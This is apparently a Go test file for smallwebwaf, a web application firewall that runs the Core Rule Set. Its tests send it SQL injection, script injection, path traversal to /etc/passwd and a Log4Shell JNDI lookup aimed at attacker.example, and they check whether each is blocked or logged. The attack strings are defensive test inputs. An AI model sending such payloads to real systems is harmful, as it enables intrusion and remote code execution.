check / check (push) Waiting to run
Coraza v3.8.1 runs the Core Rule Set 4.25.0 (coraza-coreruleset v4.25.0) after the rule files, with the six changes and the default SWWAF_WAF_DISABLED_RULES that SPEC.md gives; no body, no response. The parameter names in the third and fourth changes are matched in any case, as Coraza does. SWWAF_WAF_DISABLED_RULES refuses 900000 to 900999, smallwebwaf's own rules. A request with more than 1000 query parameters adds 5 (rule 900300). In block mode a match is refused with 403, an offence counted toward the error burst; in detect mode it is let through. Both log waf_rule_ids, waf_score and duration_waf, raise waf_block, and count smallwebwaf_waf_matches_total. Judgement call: waf_block is raised in block mode too. Deviation: no engine-error path; with no body read, Coraza cannot fail. Model: opus-5-5
393 lines
12 KiB
Go
393 lines
12 KiB
Go
package proxy_test
|
|
|
|
import (
|
|
"net/http"
|
|
"net/netip"
|
|
"slices"
|
|
"strings"
|
|
"testing"
|
|
|
|
"sneak.berlin/go/smallwebwaf/internal/alerts"
|
|
"sneak.berlin/go/smallwebwaf/internal/ratelimit"
|
|
"sneak.berlin/go/smallwebwaf/internal/requestlog"
|
|
)
|
|
|
|
// The Core Rule Set's settings the tests set, besides SWWAF_WAF_MODE, and
|
|
// its two modes that inspect requests.
|
|
const (
|
|
wafAnomalyThreshold = "SWWAF_WAF_ANOMALY_THRESHOLD"
|
|
wafDisabledRules = "SWWAF_WAF_DISABLED_RULES"
|
|
wafExemptPaths = "SWWAF_WAF_EXEMPT_PATHS"
|
|
block = "block"
|
|
detect = "detect"
|
|
)
|
|
|
|
// sqlInjection asks for / with an SQL injection in its query, which only
|
|
// the Core Rule Set's rule 942100 matches, with a score of 5, the default
|
|
// SWWAF_WAF_ANOMALY_THRESHOLD.
|
|
const sqlInjection = "/?id=1'%20OR%20'1'='1"
|
|
|
|
// wantWAF checks the request log line's waf_rule_ids and waf_score, and
|
|
// that it has duration_waf, or with no score, that it has none of the
|
|
// three: the Core Rule Set did not inspect the request.
|
|
func wantWAF(t *testing.T, line logLine, score *int, ruleIDs ...int) {
|
|
t.Helper()
|
|
|
|
if !slices.Equal(line.WAFRuleIDs, ruleIDs) {
|
|
t.Errorf("log line has waf_rule_ids %v, want %v", line.WAFRuleIDs, ruleIDs)
|
|
}
|
|
|
|
switch {
|
|
case score == nil && (line.WAFScore != nil || line.DurationWAF != nil):
|
|
t.Errorf("log line has waf_score %v and duration_waf %v, want neither",
|
|
line.fields["waf_score"], line.fields["duration_waf"])
|
|
case score != nil && (line.WAFScore == nil || *line.WAFScore != *score):
|
|
t.Errorf("log line has waf_score %v, want %d", line.fields["waf_score"], *score)
|
|
case score != nil && line.DurationWAF == nil:
|
|
t.Error("log line has no duration_waf")
|
|
}
|
|
}
|
|
|
|
func TestCoreRuleSetRefusesAttacksInBlockModeAndOnlyLogsThemInDetectMode(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
for _, attack := range []struct {
|
|
name, path, header string
|
|
ruleIDs []int
|
|
score int
|
|
}{
|
|
{"SQL injection in the query", sqlInjection, "", []int{942100}, 5},
|
|
{
|
|
"script in the query", "/?q=%3Cscript%3Ealert(1)%3C%2Fscript%3E", "",
|
|
[]int{941100, 941110, 941160, 941390}, 20,
|
|
},
|
|
{
|
|
"path traversal in the path", "/files/../../etc/passwd", "",
|
|
[]int{930100, 930110}, 10,
|
|
},
|
|
{
|
|
"Log4Shell in a header", "/", "X-Api-Version: ${jndi:ldap://attacker.example/a}",
|
|
[]int{944150}, 5,
|
|
},
|
|
{"scanner's user agent", "/", "User-Agent: sqlmap/1.7", []int{913100}, 5},
|
|
{
|
|
// Coraza keeps the first 1000 query parameters.
|
|
"SQL injection after 1000 query parameters",
|
|
"/?" + strings.Repeat("a=1&", 1000) + "id=1'%20OR%20'1'='1", "",
|
|
[]int{900300}, 5,
|
|
},
|
|
} {
|
|
t.Run(attack.name, func(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
for _, tc := range []struct {
|
|
mode, action string
|
|
status int
|
|
}{
|
|
{block, requestlog.ActionWAFBlocked, http.StatusForbidden},
|
|
{detect, requestlog.ActionForward, http.StatusOK},
|
|
} {
|
|
s, _, _ := startWithClock(t, "", map[string]string{wafMode: tc.mode})
|
|
|
|
line, _ := s.requestWithHeader(client, attack.path, attack.header,
|
|
tc.status, tc.action)
|
|
wantWAF(t, line, &attack.score, attack.ruleIDs...)
|
|
}
|
|
})
|
|
}
|
|
}
|
|
|
|
func TestOrdinaryRequestIsInspectedAndPassed(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
s, _, _ := startWithClock(t, "", map[string]string{wafMode: block})
|
|
|
|
line := s.request(client, "/owner/repo/src/branch/main/README.md?display=source",
|
|
http.StatusOK, requestlog.ActionForward)
|
|
wantWAF(t, line, new(0))
|
|
}
|
|
|
|
func TestCoreRuleSetIsNotRunWhenOffOrForAnExemptClientPathOrRuleFileRefusal(
|
|
t *testing.T,
|
|
) {
|
|
t.Parallel()
|
|
|
|
const allowed = "192.0.2.60" // in SWWAF_ALLOW_NETS
|
|
|
|
s, _, _ := startWithClock(t, "", map[string]string{
|
|
wafMode: block,
|
|
wafExemptPaths: "/api/",
|
|
allowNets: allowed,
|
|
rulesDir: writeRules(t, testRules),
|
|
})
|
|
|
|
// A client in SWWAF_ALLOW_NETS, and a path SWWAF_WAF_EXEMPT_PATHS
|
|
// exempts, are not inspected.
|
|
line := s.request(allowed, sqlInjection, http.StatusOK, requestlog.ActionForward)
|
|
wantWAF(t, line, nil)
|
|
line = s.request(client, "/api/v1/repos?id=1'%20OR%20'1'='1", http.StatusOK,
|
|
requestlog.ActionForward)
|
|
wantWAF(t, line, nil)
|
|
|
|
// The prefix is matched as rate limit exempt paths are: a path that
|
|
// goes up and out of it is inspected.
|
|
line = s.request(client, "/api/../?id=1'%20OR%20'1'='1", http.StatusForbidden,
|
|
requestlog.ActionWAFBlocked)
|
|
wantWAF(t, line, new(25), 930100, 930110, 942100)
|
|
|
|
// A request a rule file refuses is not inspected.
|
|
line = s.request(otherClient, "/blocked?id=1'%20OR%20'1'='1", http.StatusForbidden,
|
|
requestlog.ActionRuleBlocked)
|
|
wantWAF(t, line, nil)
|
|
|
|
// With SWWAF_WAF_MODE off, no request is.
|
|
s, _, _ = startWithClock(t, "", map[string]string{wafMode: off})
|
|
line = s.request(client, sqlInjection, http.StatusOK, requestlog.ActionForward)
|
|
wantWAF(t, line, nil)
|
|
}
|
|
|
|
func TestAnomalyThreshold(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
// A score under the threshold, or with the threshold off, is logged,
|
|
// and refuses nothing.
|
|
for _, threshold := range []string{"6", off} {
|
|
s, _, _ := startWithClock(t, "", map[string]string{
|
|
wafMode: block, wafAnomalyThreshold: threshold,
|
|
})
|
|
|
|
line := s.request(client, sqlInjection, http.StatusOK, requestlog.ActionForward)
|
|
wantWAF(t, line, new(5), 942100)
|
|
}
|
|
|
|
s, _, _ := startWithClock(t, "", map[string]string{
|
|
wafMode: block, wafAnomalyThreshold: "5",
|
|
})
|
|
s.request(client, sqlInjection, http.StatusForbidden, requestlog.ActionWAFBlocked)
|
|
}
|
|
|
|
func TestDisabledRulesSwitchOffWhatGiteaWouldBeRefused(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
for _, request := range []struct {
|
|
name, method, path, header string
|
|
// ruleIDs are the rules that match the request with none
|
|
// switched off.
|
|
ruleIDs []int
|
|
}{
|
|
{
|
|
"git push", http.MethodPost, "/owner/repo.git/git-receive-pack",
|
|
"Content-Type: application/x-git-receive-pack-request\r\nContent-Length: 4",
|
|
[]int{920420, 930130},
|
|
},
|
|
{
|
|
"package upload without a type", http.MethodPut,
|
|
"/api/packages/owner/generic/tool/1.0/tool.tar.gz", "Content-Length: 4",
|
|
[]int{920340},
|
|
},
|
|
{
|
|
"a shell script", http.MethodGet, "/owner/repo/raw/branch/main/install.sh", "",
|
|
[]int{920440},
|
|
},
|
|
{
|
|
"an editor's settings", http.MethodGet,
|
|
"/owner/repo/src/branch/main/.zed/settings.json", "", []int{930140},
|
|
},
|
|
} {
|
|
t.Run(request.name, func(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
body := ""
|
|
if request.method != http.MethodGet {
|
|
body = "push"
|
|
}
|
|
|
|
// By default, the rules are switched off.
|
|
s, _, _ := startWithClock(t, "", map[string]string{wafMode: block})
|
|
line, _ := s.requestWithBody(request.method, client, request.path,
|
|
request.header, body, http.StatusOK, requestlog.ActionForward)
|
|
wantWAF(t, line, new(0))
|
|
|
|
// A list given replaces the default.
|
|
s, _, _ = startWithClock(t, "", map[string]string{
|
|
wafMode: block, wafDisabledRules: "942100",
|
|
})
|
|
score := 5 * len(request.ruleIDs)
|
|
line, _ = s.requestWithBody(request.method, client, request.path,
|
|
request.header, body, http.StatusForbidden, requestlog.ActionWAFBlocked)
|
|
wantWAF(t, line, &score, request.ruleIDs...)
|
|
|
|
// And switches off the rules it lists.
|
|
line = s.request(client, sqlInjection, http.StatusOK, requestlog.ActionForward)
|
|
wantWAF(t, line, new(0))
|
|
})
|
|
}
|
|
}
|
|
|
|
func TestResponsesAreNotInspected(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
// A raw shell script, and an SQL error, which the Core Rule Set's rules
|
|
// for responses take for a leak.
|
|
const page = "#!/bin/sh\nrm -rf /tmp/build\n" +
|
|
"You have an error in your SQL syntax; check the manual that " +
|
|
"corresponds to your MySQL server version\n"
|
|
|
|
app := startApp(t, func(w http.ResponseWriter, _ *http.Request) {
|
|
_, _ = w.Write([]byte(page))
|
|
})
|
|
addr, out := startProxy(t, app.URL, map[string]string{wafMode: block})
|
|
|
|
got := get(t, addr, "/owner/repo/raw/branch/main/build.sh")
|
|
if got.status != http.StatusOK || string(got.body) != page {
|
|
t.Errorf("answered %d with %q, want 200 with the app's page", got.status, got.body)
|
|
}
|
|
|
|
wantLine(t, out.requestLine(t), http.StatusOK, requestlog.ActionForward)
|
|
}
|
|
|
|
func TestCoreRuleSetRefusalIsAnOffenceAndCountsTowardTheErrorBurst(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
const scraper = "192.0.2.200"
|
|
|
|
s, _, server := startWithClock(t, "", map[string]string{
|
|
wafMode: block, errorBurstThreshold: "2", metricsToken: token,
|
|
})
|
|
|
|
for range 2 {
|
|
s.request(client, sqlInjection, http.StatusForbidden, requestlog.ActionWAFBlocked)
|
|
}
|
|
|
|
// The third refusal in a minute breaks the error burst, and bans the
|
|
// client.
|
|
line := s.request(client, sqlInjection, http.StatusForbidden,
|
|
requestlog.ActionWAFBlocked)
|
|
if line.LimitHit != requestlog.LimitHitErrorBurst ||
|
|
line.Offence != requestlog.OffenceLimit {
|
|
t.Errorf("log line has limit_hit %q and offence %q, want error_burst and limit",
|
|
line.LimitHit, line.Offence)
|
|
}
|
|
|
|
s.get(client, http.StatusForbidden, requestlog.ActionBanned)
|
|
|
|
want := ratelimit.Offences{Limit: 1, WAFBlocked: 3}
|
|
if offences := historyOf(t, server, client).Offences; offences != want {
|
|
t.Errorf("history counts the offences %+v, want %+v", offences, want)
|
|
}
|
|
|
|
metrics := s.scrape(scraper)
|
|
wantMetric(t, metrics,
|
|
`smallwebwaf_waf_matches_total{instance="app",mode="block",rule_id="942100"}`, 3)
|
|
wantMetric(t, metrics,
|
|
`smallwebwaf_offences_total{instance="app",kind="waf_blocked"}`, 3)
|
|
wantMetric(t, metrics, `smallwebwaf_requests_total{action="waf_blocked",`+
|
|
`instance="app",status_class="4xx"}`, 3)
|
|
}
|
|
|
|
func TestDetectModeMatchIsNoOffenceAndNotCountedTowardTheErrorBurst(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
const scraper = "192.0.2.200"
|
|
|
|
s, _, server := startWithClock(t, "", map[string]string{
|
|
wafMode: detect, errorBurstThreshold: "2", metricsToken: token,
|
|
})
|
|
|
|
for range 3 {
|
|
s.request(client, sqlInjection, http.StatusOK, requestlog.ActionForward)
|
|
}
|
|
|
|
s.get(client, http.StatusOK, requestlog.ActionForward)
|
|
|
|
offences := historyOf(t, server, client).Offences
|
|
if offences != (ratelimit.Offences{}) {
|
|
t.Errorf("history counts the offences %+v, want none", offences)
|
|
}
|
|
|
|
metrics := s.scrape(scraper)
|
|
wantMetric(t, metrics,
|
|
`smallwebwaf_waf_matches_total{instance="app",mode="detect",rule_id="942100"}`, 3)
|
|
wantNoSeries(t, metrics,
|
|
`smallwebwaf_offences_total{instance="app",kind="waf_blocked"}`)
|
|
}
|
|
|
|
func TestObserveModeLogsWhatTheCoreRuleSetWouldDo(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
s, _, server := startWithClock(t, "", map[string]string{wafMode: block, mode: observe})
|
|
|
|
line := s.request(client, sqlInjection, http.StatusOK, requestlog.ActionForward)
|
|
wantWouldAction(t, line, requestlog.ActionWAFBlocked)
|
|
wantWAF(t, line, new(5), 942100)
|
|
|
|
// It is an offence as in enforce mode.
|
|
want := ratelimit.Offences{WAFBlocked: 1}
|
|
if offences := historyOf(t, server, client).Offences; offences != want {
|
|
t.Errorf("history counts the offences %+v, want %+v", offences, want)
|
|
}
|
|
}
|
|
|
|
func TestCoreRuleSetMatchRaisesTheWAFBlockAlert(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
for _, tc := range []struct {
|
|
name string
|
|
env map[string]string
|
|
// status and action are what the request is answered and logged
|
|
// with, and alertMode what the alert's detail gives as mode, if
|
|
// anything.
|
|
status int
|
|
action, alertMode string
|
|
}{
|
|
{
|
|
"block", map[string]string{wafMode: block},
|
|
http.StatusForbidden, requestlog.ActionWAFBlocked, "",
|
|
},
|
|
{
|
|
"detect", map[string]string{wafMode: detect},
|
|
http.StatusOK, requestlog.ActionForward, detect,
|
|
},
|
|
{
|
|
"block in observe mode", map[string]string{wafMode: block, mode: observe},
|
|
http.StatusOK, requestlog.ActionForward, observe,
|
|
},
|
|
} {
|
|
t.Run(tc.name, func(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
s, clk, _, queue := startWithAlerts(t, tc.env)
|
|
|
|
// The second is a repeat, which the cooldown holds back, and an
|
|
// ordinary request raises none.
|
|
for range 2 {
|
|
s.request(client, sqlInjection, tc.status, tc.action)
|
|
}
|
|
|
|
s.get(client, http.StatusOK, requestlog.ActionForward)
|
|
|
|
detail := map[string]any{
|
|
"rule_ids": []int{942100}, "score": 5, "method": http.MethodGet,
|
|
"path": sqlInjection,
|
|
}
|
|
if tc.alertMode != "" {
|
|
detail["mode"] = tc.alertMode
|
|
}
|
|
|
|
wantAlerts(t, queue, alerts.Alert{
|
|
Instance: alertInstance,
|
|
Time: clk.Now(),
|
|
Event: alerts.EventWAFBlock,
|
|
Client: netip.MustParseAddr(client),
|
|
Netblock: netip.MustParsePrefix(client + "/32"),
|
|
Reason: "scored by the Core Rule Set at or over SWWAF_WAF_ANOMALY_THRESHOLD",
|
|
Detail: detail,
|
|
})
|
|
|
|
if queue.Suppressed() != 1 {
|
|
t.Errorf("%d alerts held back, want the repeat", queue.Suppressed())
|
|
}
|
|
})
|
|
}
|
|
}
|